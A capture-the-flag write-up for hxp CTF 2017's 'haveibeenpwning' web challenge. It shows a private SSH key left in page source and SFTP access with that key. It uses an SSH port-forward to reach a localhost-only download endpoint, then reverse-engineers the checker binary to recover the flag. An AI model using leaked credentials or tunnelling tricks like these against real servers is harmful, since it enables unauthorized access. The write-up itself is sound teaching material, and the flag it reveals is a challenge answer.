Check if you have a flag that has been compromised in a data breach
Connection:
100 Basepoints + 100 Bonuspoints * min(1, 3 / 39 Solves) = 107 Points
This writeup explains the haveibeenpwning challenge of the recent hxp CTF 2017.
The challenge presents a web site that allows to check if our flags have been compromised.
The form seems to only accept inputs which follow the flag format and the “Admin Area” also isn’t accessible.
The source of the web site contains a comment about debug access:
<!--
DEBUG ACCESS:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDquK/7iBah+2oNfzgOxkzOEyoU1XiD1AZjJL1VU6bt5QAAAJAvoKT4L6Ck
+AAAAAtzc2gtZWQyNTUxOQAAACDquK/7iBah+2oNfzgOxkzOEyoU1XiD1AZjJL1VU6bt5Q
AAAEDtWYU9ArlZT6SD0QhhGaizujbGxsL7qF1HhqQLej0BaOq4r/uIFqH7ag1/OA7GTM4T
KhTVeIPUBmMkvVVTpu3lAAAAC2JiQG5vdGVib29rAQI=
-----END OPENSSH PRIVATE KEY-----
sftp://ctf@ip:2222/
-->
With this credentials were are able to access the server with SFTP:
$ sftp -i id_ed25519 -P 2222 ctf@35.198.105.111
Connected to 35.198.105.111.
sftp> ls -l
-r--r--r-- 1 0 0 358 Nov 10 14:55 download.php
-r--r--r-- 1 0 0 1493 Nov 10 14:55 index.php
sftp> get *
...
It seems that were are chrooted into the read-only www directory of the webserver. SFTP allows us to download the PHP scripts. We will proceed with analysing the downloaded PHP files.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>have I been pwning</title>
</head>
<body>
<h1>Have I been pwning</h1>
<form method="post">
<input name="flag" placeholder="hxp{...}">
<input type="submit" value="check">
</form>
<h2>Admin Area</h2>
<a href="download.php">Download flag checker</a>
<?php
if( isset($_POST['flag']) ){
if (preg_match('/^hxp\{[a-z0-9_]{1,128}\}$/', $_POST['flag'])){
exec("/home/ctf/check_flag '".escapeshellarg($_POST['flag'])."'", $output, $retval);
if($retval === 0) {
die('pwned!!! please submit');
}
else {
die("likely safe! you haven't been pwning :(");
}
}
else {
die("no hacks please!");
}
}
?>
...
<!--
DEBUG ACCESS:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDquK/7iBah+2oNfzgOxkzOEyoU1XiD1AZjJL1VU6bt5QAAAJAvoKT4L6Ck
+AAAAAtzc2gtZWQyNTUxOQAAACDquK/7iBah+2oNfzgOxkzOEyoU1XiD1AZjJL1VU6bt5Q
AAAEDtWYU9ArlZT6SD0QhhGaizujbGxsL7qF1HhqQLej0BaOq4r/uIFqH7ag1/OA7GTM4T
KhTVeIPUBmMkvVVTpu3lAAAAC2JiQG5vdGVib29rAQI=
-----END OPENSSH PRIVATE KEY-----
sftp://ctf@ip:2222/
-->
We see that the supplied flag is verified for its format and safely passed to /home/ctf/check_flag
for verification. There seems to be no way to bypass the applied checks and we need to extract /home/ctf/check_flag
to get the flag.
<?php
$whitelist = ['127.0.0.1', '::1'];
if( in_array($_SERVER['REMOTE_ADDR'], $whitelist) ){
$file_url = '/home/ctf/check_flag';
header('Content-Type: application/octet-stream');
header('Content-Transfer-Encoding: Binary');
header('Content-disposition: attachment; filename="check_flag"');
readfile($file_url);
}
else {
echo 'permission denied';
}
download.php
offers access to the flag checker binary. If the script gets accessed from localhost it will allow us to download the binary.
We need to find a way to trigger requests from localhost to fetch check_flag
.
Sadly command execution via SSH is disabled:
$ ssh -i id_ed25519 -p 2222 ctf@35.198.105.111
This service allows sftp connections only.
Connection to 35.198.105.111 closed.
We remember that SSH also allows to forward ports.
ssh -i id_ed25519 -p 2222 -L 8080:127.0.0.1:80 -N ctf@35.198.105.111
curl http://127.0.0.1:8080/download.php > check_flag
Note: the -N
parameter forces ssh to only forward ports without executing a command
We finally extracted the check_flag
binary which we need to analyze further.
$ file check_flag
check_flag: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a7a7f1ead999e35e877ef71049c7238a85554a89, not stripped
The disassembled main
function of the binary can be seen here:
$ objdump -d check_flag
00000000000006e0 <main>:
6e0: 53 push %rbx
6e1: 31 c9 xor %ecx,%ecx
6e3: 48 89 f3 mov %rsi,%rbx
6e6: ba 02 00 00 00 mov $0x2,%edx
6eb: 31 f6 xor %esi,%esi
6ed: 48 83 ec 10 sub $0x10,%rsp
6f1: 48 8b 3d 20 09 20 00 mov 0x200920(%rip),%rdi # 201018 <__TMC_END__>
6f8: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
6ff: 00 00
701: 48 89 44 24 08 mov %rax,0x8(%rsp)
706: 31 c0 xor %eax,%eax
708: e8 bb ff ff ff callq 6c8 <_init+0x50>
70d: 48 8b 7b 08 mov 0x8(%rbx),%rdi
711: 48 8b 35 f8 08 20 00 mov 0x2008f8(%rip),%rsi # 201010 <a>
718: 31 c0 xor %eax,%eax
71a: 48 8d 0d 07 02 00 00 lea 0x207(%rip),%rcx # 928 <_IO_stdin_used+0x8>
721: eb 0f jmp 732 <main+0x52>
723: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
728: 48 83 c0 01 add $0x1,%rax
72c: 48 83 f8 42 cmp $0x42,%rax
730: 74 27 je 759 <main+0x79>
732: 0f b6 14 06 movzbl (%rsi,%rax,1),%edx
736: 32 14 01 xor (%rcx,%rax,1),%dl
739: 38 14 07 cmp %dl,(%rdi,%rax,1)
73c: 74 ea je 728 <main+0x48>
73e: b8 01 00 00 00 mov $0x1,%eax
743: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx
748: 64 48 33 1c 25 28 00 xor %fs:0x28,%rbx
74f: 00 00
751: 75 0a jne 75d <main+0x7d>
753: 48 83 c4 10 add $0x10,%rsp
757: 5b pop %rbx
758: c3 retq
759: 31 c0 xor %eax,%eax
75b: eb e6 jmp 743 <main+0x63>
75d: e8 4e ff ff ff callq 6b0 <_init+0x38>
762: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
769: 00 00 00
76c: 0f 1f 40 00 nopl 0x0(%rax)
...
For easier understanding we use a decompiler:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // ST08_8@1
__int64 v4; // rax@1
v3 = *MK_FP(__FS__, 40LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
v4 = 0LL;
do
{
if ( argv[1][v4] != (byte_928[v4] ^ (unsigned __int8)a[v4]) )
return 1;
++v4;
}
while ( v4 != 66 );
return 0;
}
It’s visible that the flag (argv[1]
) gets verified by checking it against two xored constant arrays (byte_928
, a
) in a loop.
We only need to extract the content of both arrays to get the flag. This can be achieved by opening the binary in gdb.
$ gdb check_flag
gdb-peda$ x/s *0x201010
0x970: "SooMTmzdFXwLveIPryxngeiYCyVdaLDfGZkkbNsRkPLxhYEvwPZYoZmpwhOCnXNZeL"
gdb-peda$ x/s 0x928
0x928: ";\027\037\066-]\017\026\031>\033x@:!dG&\024_\fV\005 \034\033eU\017z\033\005w7\033\031R#BgX4\023\b\004jqCD\017o,\r7\\G@7>6_;%6\034\061"
Now we only need to xor the two strings and we are rewarded with a nice flag:
$ python3
>>> a = "SooMTmzdFXwLveIPryxngeiYCyVdaLDfGZkkbNsRkPLxhYEvwPZYoZmpwhOCnXNZeL"
>>> b = ";\027\037\066-]\017\026\031>\033x@:!dG&\024_\fV\005 \034\033eU\017z\033\005w7\033\031R#BgX4\023\b\004jqCD\017o,\r7\\G@7>6_;%6\034\061"
>>> for x,y in zip(a,b):
... print(chr(ord(x)^ord(y)),end='')
hxp{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d_pl3453_5ubm177_qu1ckly}